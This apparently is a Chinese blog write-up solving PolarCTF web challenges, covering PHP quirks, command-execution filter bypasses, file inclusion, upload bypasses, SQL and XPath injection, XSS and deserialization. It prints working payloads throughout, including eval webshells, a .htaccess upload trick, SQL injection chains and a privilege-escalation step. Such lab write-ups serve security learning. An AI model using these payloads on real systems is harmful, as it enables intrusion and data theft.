不仅为了刷题,更为了贴纸!(咋要200polar币才能兑换哇)
swp(php特性)
扫目录就能找到/.index.php.swp
,访问得到源码
function jiuzhe($xdmtql) { return preg_match('/sys.*nb/is', $xdmtql); }
$xdmtql = @$_POST['xdmtql'];
if (!is_array($xdmtql)) { if (!jiuzhe($xdmtql)) { if (strpos($xdmtql, 'sys nb') !== false) { echo 'flag{*******}'; } else { echo 'true .swp file?'; } } else { echo 'nijilenijile'; } }
所以,要得到flag的条件是:
1. $xdmtql不是数组。
2. jiuzhe函数返回false,即preg_match不匹配。
3. strpos检查$xdmtql中存在'sys nb'字符串。
|
这里一个知识点就是preg_match
函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用下面的代码进行回溯,让preg_match
函数报错,绕过该函数
import requests data = {"xdmtql": "sys nb" + "aaaaa" * 1000000} res = requests.post('http://3b6cf073-93a4-4f15-b132-68507e551d1a.www.polarctf.com:8090/', data=data, allow_redirects=False) print(res.content)
|

PHP是世界上最好的语言(php特性)
<?php
highlight_file(__FILE__); include("flag.php"); $c=$_POST['sys']; $key1 = 0; $key2 = 0; if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($flag1 == '8gen1' && $flag2 == '8gen1') { if(isset($_POST['504_SYS.COM'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){ eval("$c");
} } } ?>
|
先用fuzz测试下哪些字符未被过滤
<?php for($i=32;$i<=126;$i++) { if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/",chr($i))) { echo chr($i); } } ?>
|
因此使用变量覆盖
GET:_POST[flag1]=8gen1&_POST[flag2]=8gen1 POST:504[SYS.COM=111&sys=echo $flag; 注:在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。
|
非常好绕的命令执行(命令执行)
<?php highlight_file(__FILE__); $args1 = $_GET['args1']; $args2 = $_GET['args2']; $args3 = $_GET['args3']; $evil = $args1.'('.$args2.')('.$args3.')'.';'; $blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i'; if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) { echo "<br>".$evil."<br>"; eval($evil); }
?>
|
args1=echo&args2=`ls`);%23&args3=1 //flagggg index.php args1=echo&args2=`tac<flagggg`);%23&args3=1 注:php中``作用是将反引号内命令先执行一次,因此再输出就能执行该命令。并且这里的#需要url编码
|
题解中还有种方法是通过hex2bin绕过,即十六进制绕过
网站被黑(文件包含)
一眼看去没漏洞点,扫目录试试

看了下没啥东西,抓包看看

发现hint:F5XDAXZQNZSV6ZRRNZSF63JTF4======
,base解码挨着试一遍发现是base32,解码得/n0_0ne_f1nd_m3/
,源码如下
<?php error_reporting(0);
$text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag|data|base|write|input/i",$file)){ echo "I am sorry but no way!"; exit(); }else{ include($file); } } else{ highlight_file(__FILE__); } ?>
|
GET:text=php://input&file=php://filter/read=string.rot13/resource=imposible.php POST:welcome to the 504sys
注意是在/n0_0ne_f1nd_m3/下传参,并且传参中不能有空格,所以必须用php:input来实现
|

简单rce(命令执行)
<?php
highlight_file(__FILE__); function no($txt){ if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ return $txt;} else{ die("what's up");}} $yyds=($_POST['yyds']); if(isset($_GET['sys'])&&$yyds=='666'){ eval(no($_GET['sys'])); } else {echo "nonono"; } ?>
|
GET:sys=passthru("ls%09/"); POST:yyds=666
|
GET:sys=passthru("ta\c%09/flag"); 或sys=passthru("ta\c</flag"); POST:yyds=666
|
到底给不给flag呢(foreach配合$$变量覆盖)
<?php highlight_file('1.txt'); echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}'; $qwq= '我想要flag'; $QAQ = '我又不想要flag了,滚吧'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($qwq); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($QAQ); }
foreach ($_POST as $key => $value) { $$key = $value; }
foreach ($_GET as $key => $value) { $$key = $$value; }
echo $flag;
|
这里主要注意的是foreach函数用法,由于遍历数组中元素,先c=flag然后让flag=c。这样被解析之后,就是$c=$flag&$flag=$c
,就能输出flag,传参后拉到最下面获得flag
foreach()
配合$$
是个典型的变量覆盖漏洞,使用foreach()
来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。例如传入abc=def
,就会变成$abc=$def
因此解题关键为定义一个变量来保存原来$flag
的内容
再让$flag
=存储内容的变量名
abc=flag&flag=abc
会被解释为$abc=$flag&$flag=$abc
蜜雪冰城吉警店(前端修改)
提示要点第九杯奶茶,通过修改前端页面中id=9,再点击按钮就能获得flag


注入(XPATH注入)
尝试sql注入和ssti注入
id=1 //0: Alan id=2 //0: Bob id=2-1 //无回显,即为字符型
|
但是这里试了很久都没结果,看了wp才知道是XPATH注入,尝试XPATH注入万能密码?id=']|//\*|//\*['
,注入传参时要传入未被url编码的

iphone(更改UA)
进去让点按钮,但是提示必须从iPhone或ipad访问,抓包伪造UA,直接获得flag
Mozilla/5.0 (iPad; CPU OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
|

浮生日记(XSS)
提示弹个窗试试,先试试xss常用语句
<script>alert(1)</script>
|

script
被过滤,尝试双写绕过
<sscriptcript>alert(1)</sscriptcript>
|

没有成功,尝试先闭合
"><sscriptcript>alert(1)</sscriptcript>
|

点击确定获得flag
你的马呢?(文件上传)
随便上传一个图片文件,发现是可以上传的,并且是后缀加路径

法一:apache双后缀绕检查
注意,这里经过尝试,对文件内的php进行检测,因此文件内容如下,并且后缀为php.jpg
GIF89a <?=eval($_POST[123]);?>
|

然后直接访问蚁剑连接就好

法二:伪协议包含
上传a.jpg
如下
<?php eval($_POST[123]);?> base64编码得到 PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
|

在初页面利用文件包含,注意要decode
才能解析
file=php://filter/read=convert.base64-decode/resource=a.jpg
|

csdn(file伪协议)
直接查看源码,提示在flag目录下flag.txt中,因此直接伪协议文件包含就行
找找shell(混淆webshell)
在shell.txt中是一个经过混淆的shell代码,因此利用反向解密脚本可得最后的连接密码,蚁剑连接即可
import base64 import urllib.parse
O00OO0 = urllib.parse.unquote("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A") print("解码后的字符串:", O00OO0)
O00O0O = O00OO0[3] + O00OO0[6] + O00OO0[33] + O00OO0[30] O0OO00 = O00OO0[33] + O00OO0[10] + O00OO0[24] + O00OO0[10] + O00OO0[24] OO0O00 = O0OO00[0] + O00OO0[18] + O00OO0[3] + O0OO00[0] + O0OO00[1] + O00OO0[24] OO0000 = O00OO0[7] + O00OO0[13]
O00O0O += O00OO0[22] + O00OO0[36] + O00OO0[29] + O00OO0[26] + O00OO0[30] + O00OO0[32] + O00OO0[35] + O00OO0[26] + O00OO0[30]
print("变量 $O00O0O:", O00O0O) print("变量 $O0OO00:", O0OO00) print("变量 $OO0O00:", OO0O00) print("变量 $OO0000:", OO0000)
base64_string_php = "JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=" decoded_string_php = base64.b64decode(base64_string_php).decode('utf-8') print("解码后的 Base64 字符串:", decoded_string_php)
replaced_string_php = decoded_string_php.replace('$O00O0O', O00O0O).replace('$O0OO00', O0OO00).replace('$OO0O00', OO0O00).replace('$OO0000', OO0000) print("替换变量后的字符串:", replaced_string_php)
base64_str = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp=="
part1 = base64_str[:52] part2 = base64_str[52:104] part3 = base64_str[104:]
replace_map = str.maketrans(part2, part1)
replaced_str = part3.translate(replace_map)
decoded_str = base64.b64decode(replaced_str).decode('utf-8')
print("\n解码后的 PHP 代码:") print(decoded_str)
|

所以直接访问shell.php
,然后蚁剑连接就行
代码审计1(php原生类的寻找和利用)
<?php
highlight_file(__FILE__); include('flag.php'); $sys = $_GET['sys']; if (preg_match("|flag|", $xsx)) { die("flag is no here!"); } else { $xsx = $_GET['xsx']; echo new $sys($xsx); }
|
sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php
|
随机值(pop反序列化)
<?php include "flag.php"; class Index{ private $Polar1; private $Polar2; protected $Night; protected $Light;
function getflag($flag){ $Polar2 = rand(0,100); if($this->Polar1 === $this->Polar2){ $Light = rand(0,100); if($this->Night === $this->Light){ echo $flag; } } else{ echo "Your wrong!!!"; } } } if(isset($_GET['sys'])){ $a = unserialize($_GET['sys']); $a->getflag($flag); } else{ highlight_file("index.php"); } ?>
|
我们需要反序列化一个Index类并且让里面的$Polar1
和$Night
赋值为一个随机数。按照概率来讲,只要用bp发包10000次就可以获得flag了。但是我们直接把$Polar2
和$Light
一起改了就可以了
sys=O:5:"Index":4:{s:13:"%00Index%00Polar1";i:5;s:13:"%00Index%00Polar2";i:5;s:8:"%00*%00Night";i:5;s:8:"%00*%00Light";i:5;}
|
phpurl(php特性)
先看给的文件
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 //base64解密后得到index.phps
|
访问index.phps
得到源码
<?php if("xxs"===$_GET[sys]) { echo("<p>Not a good idea!</p>"); exit(); }
$_GET[sys] = urldecode($_GET[sys]); if($_GET[sys] == "xxs") { echo "<p>Welcome to polar LABS!</p>"; echo "<p>Flag: XXXXXXX </p>"; } ?>
|
通过二次url编码来绕过条件获得flag
sys=%25%37%38%25%37%38%25%37%33
|

search(sql注入)
进去就看到输入框,随便输一个1‘
就报错,尝试sql注入
query=1' //为单引号注入 query=1'# //正常回显 query=1' order by 3# //失败回显,尝试绕过空格 query=1'/**/order/**/by/**/3# //正常回显 query=1'/**/order/**/by/**/6# //列数不匹配回显,列数为5 query=1'/**/union/**/select/**/1,2,3,4,5# //失败回显,猜测过滤 query=select //不报错 query=union //失败回显 query=-1'/**/Union/**/select/**/1,2,3,4,5# //回显2,3 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),4,5# //失败回显,猜测过滤 query=-1'/**/Union/**/select/**/1,(database()),(3),4,5# //回显CTF,猜测过滤 query=information //不报错 query=group //不报错 query=where //失败回显 query=Where //不报错 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //报错,测出来from也被过滤了 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //回显Flag,Students query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5#query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //这里如果查找flag会失败,所以还过滤了flag,只不过由于列名就是Flag,所以直接查找就行,回显Flag query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(Flag)/**/From/**/Flag),4,5# //回显flag{Polar_CTF_426891370wxbglbnfwaq}
|
Dragon(信息搜集)
打开之后还是一个输入框,但是尝试sql注入没用,传参后源码可以看到最后有个欢迎 (id传参内容)
。。。。看了下响应,flag就在cookie中(眼瞎之前没看到)

wu(极限rce取反)
<?php highlight_file(__FILE__); $a = $_GET['a']; if(preg_match("/[A-Za-z0-9]+/",$a)){ die("no!"); } @eval($a); ?>
|
发现全部数字字母都被过滤了,用取反脚本就行
<?php $a = "system";
$b = "cat zheshiflag.php"; $c=urlencode(~$a); $d=urlencode(~$b); echo "(~$c)((~$d));";
|
a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F));
|
写shell(绕过exit()函数)
<?php highlight_file(__FILE__); file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);
?>
|
参考web87,因此直接用base64编码或者root编码都行,但是注意base64编码要补一个字节
GET:filename=php://filter/write=convert.base64-decode/resource=shell.php POST:content=aPD9waHAgZXZhbCgiJF9QT1NUWzEyM10iKTs/Pg==(第一个a为补的字节) 或者 GET:filename=php://filter/write=string.rot13/resource=1.php POST:content=<?cuc riny("$_CBFG[123]");?> //源代码中
|

seek flag(robots.txt)
先看源码,发现提示爬虫爬到flag怎么办,果断查看robots.txt
,获得flag3:c0ad71dadd11}
看到cookie中有id=0,改为id=1获得flag1:flag{7ac5b

最后在流量中找到flag2:3ca8737a70f029d
结合起来:flag{7ac5b3ca8737a70f029dc0ad71dadd11}
XFF(更改X-Forwarded-For)
进去看到限制ip为1.1.1.1,直接请求头内修改X-Forwarded-For
获得flag
rce1(命令执行)
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
|
隔开之后执行命令就行
ip=;ls; ip=;cat${IFS}fllllaaag.php; //源码中找到
|
GET-POST(传参)
<?php highlight_file(__FILE__); include('flag.php'); $id = $_GET['id']; echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1"; if($id == '1'){ echo "干的漂亮"; echo "<br/>"; echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag"; $jljcxy = $_POST['jljcxy']; if($jljcxy == 'flag'){ echo $flag; } }
|
被黑掉的站(弱口令)
扫目录找到/index.php.bak
和/shell.php
,看到/shell.php
中有密码框,/index.php.bak
有酷似密码的东西,直接抓包爆破就行
123456 123456789 123123 111111 anhyeuem 1234567 123456789 123456 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toiltoi 10cham0 147258369 456456 khongbiet 789789 a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh
|

当密码为nikel
时成功登录获得flag
上传(文件上传)
- 不允许php文件上传,php2、php5、以及phtml也都被过滤了
- 文件内容处过滤了<?、file
针对以上的过滤,可以采取.users.ini
和.htacess
文件进行绕过,.user.ini使用成功的前提是服务器开启了CGI
或者``FastCGI,并且上传文件的存储路径下有index.php可执行文件,由于该路径下不存在
index.php文件,所以这题使用
.htacess`文件进行绕过
.htaccess
如下
AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "php://filter/convert.base64-decode/resource=1.jpg"
|
- 上述的内容中存在file会被过滤掉,可以采取\反斜杠+换行的方式绕过
- 为什么需要解码???,是为了绕过被过滤的<?
上传后再上传base64编码后的1.jpg
文件,内容如下
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
|

召唤神龙(jsfuck解码)
在源码的main.js中找到明显的JSfuck
编码,解码得到flag
JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
分别是:{ } [ ] + !
它不依赖于浏览器,因此可以在Node.js上运行。

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])
|

login(爆破)
源码找到20200101/20200101
成功登录,然后没思路了,看wp发现从01往上每个回显一个字符,爆破获得flag
flag{dlcg}
任务cmd(命令执行)
进去看到源码注释有东西(其实并没用),扫目录找到/new/file/upload.php
根据题目要求用cmd执行命令即可

坦诚相见(过滤/)
ls
然后cat no*
获得源码
<?php function containsPathTraversal($input) { $patterns = [ '/\.\.\//', '/\/\//', '/\%2e\%2e\//', '/\%2E\%2E\\/', '/flag/', '/\//', '/>/' ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $input)) { return true; } } return false; } if (isset($_POST['rce']) && containsPathTraversal($_POST['rce'])) { die('不不不,我也有底线的,至少在这个文件夹内,你随意'); } ?>
|
禁用如下
利用环境变量绕过/
rce=ls ${PWD::${#SHLVL}} rce=cat ${PWD::${#SHLVL}}fl*
|
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。只需要${PWD::${SHLVL}},结果就是/
但是这里读不出flag,猜测要提权,那就只能写马了。通过转义符\
绕过$
的过滤
echo "<?=eval(\$_POST["123"]);" | tee 1.php
|

连接后sudo
读取flag

毒鸡汤(文件包含)
扫目录找到一堆东西,先访问www.zip

在下载源码中看到hint.txt
提示flag
在根目录
index.php
中找到文件包含漏洞
<?php $filename = $_GET['readfile']; if ($filename){ include($filename); } ?>
|
直接data伪协议试试
GET:readfile=php://filter/read=convert.base64-encode/resource=/flag 或者 GET:readfile=../../../../../../../../flag
|
爆破(脚本)
<?php error_reporting(0);
if(isset($_GET['pass'])){ $pass = md5($_GET['pass']); if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ include('flag.php'); echo $flag; } } }else{ highlight_file(__FILE__);
} ?>
|
直接python写代码爆破
import hashlib import itertools
def crack_password(): chars = 'abcdefghijklmnopqrstuvwxyz0123456789' for length in range(4, 7): for candidate in itertools.product(chars, repeat=length): password = ''.join(candidate) md5_hash = hashlib.md5(password.encode()).hexdigest() ''' 条件检查顺序优化: 1. 先检查第32位是否='3'(快速过滤90%以上无效值) 2. 再检查第2/15/18位是否相同且为数字 3. 最后验证算术条件 ''' if ( md5_hash[31] == '3' and md5_hash[1] == md5_hash[14] == md5_hash[17] and md5_hash[1].isdigit() and md5_hash[1] != '0' ): c = int(md5_hash[1]) if (3 * c) // c == 3: print(f'爆破成功!密码为: {password}') print(f'对应MD5哈希: {md5_hash}') return
if __name__ == '__main__': crack_password()
|
最终pass=ae2c

$$(超全局变量GLOBALS)
<?php
highlight_file(__file__); error_reporting(0); include "flag.php";
$a=$_GET['c']; if(isset($_GET['c'])){ if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){ die("oh on!!!");} else{ eval("var_dump($$a);");}}
|
可能存在一个超全局变量GLOBALS
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的
|
说到GOLBALS就不能不说到global,那两者有何不同呢?请往下看
global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。
所以直接传参c=GLOBALS
获得flag
debudao(信息搜集)
源码中看到$flag
,但是是错的,在cookie中看到url编码后的flag
veryphp(php特性-正则匹配,函数回调)
<?php error_reporting(0); highlight_file(__FILE__); include("config.php"); class qwq { function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); } } $str = file_get_contents("php://input"); if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ die("I am sorry but you have to leave."); }else{ extract($_POST); } if(isset($shaw_root)){ if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ echo $hint; }else{ echo "Almost there."."<br>"; } }else{ echo "<br>"."Input correct parameters"."<br>"; die(); } if($ans===$SecretNumber){ echo "<br>"."Congratulations!"."<br>"; call_user_func($my_ans); }
|
第一个preg_match过滤的是str,因为不可控所以不考虑
第二个preg_match是匹配正则
$shaw_root
参数要满足以上两个preg_match
,并且长度要为29才能输出hint
ans
参数值要等于hint
里面的ans
参数值要等于hint里面的ans参数值要等于hint里面的SecretNumber值
call_user_func()
回调函数,也就是$my_ans
要调用类的方法
根据上述分析,首先是绕过第一个preg_match
,也就是shaw_root
和my_ans
不能存在下划线,这里可以利用一个特性,在传入一些非法字符的时候php会把它解析为下划线_,例如空格、+以及[
第二步是shaw_root匹配正则
^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$ ^表示的是正则表达式开始的位置 -表示- [a-e]表示选其中的一个字母 [^a-zA-Z0-8]表示匹配不属于这里面的数 <b>表示<b> (.*)表示除换行符 \n 之外的任何单字符,然后有0次或多次 > {4}表示限定出现4次> \D*表示匹配非数字 ?表示匹配前面的子表达式零次或一次类似于{0,1} (abc.*?)表示匹配abc p(hp)*表示匹配了php @R表示传入@R (s|r)表示传入s或r .表示除换行符 \n 之外的任何单字符 $表示正则表达式的结束符号
|
匹配正则可以使用这个在线网站regex
最终结果
shaw[root=-a9<b>11111111>>>>aabcphp@Rs1
|

注意这里在传参时不能使用hackbar,hackbar在传参时会先url编码一次,所以应该直接抓包传参
传参后获得hint如下
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
|
写脚本爆破就行
import hashlib import itertools
def crack_password(): chars = '0123456789' target_hash = "166b47a5cb1ca2431a0edfcef200684f" for candidate in itertools.product(chars, repeat=5): secret_number = ''.join(candidate) password = f"shaw{secret_number}root" md5_hash = hashlib.md5(password.encode()).hexdigest() if md5_hash == target_hash: print(f"爆破成功!密码为: {password}") print(f"对应MD5哈希: {md5_hash}") return
if __name__ == '__main__': crack_password()
|

最后传参为
shaw[root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my[ans=qwq::oao
|

关于call_user_func()函数
//1.可以用array(__NAMESPACE__.'\类名','方法名')
传递类方法,也就是:array('命名空间\类名','方法名')
$return = call_user_func(array(类名,方法名),参数);
//2.可以用···· __NAMESPACE__.'\类名::方法名' ···
传递类方法,也就是:'命名空间\类名::方法名'
$return1 = call_user_func(类名::方法,参数);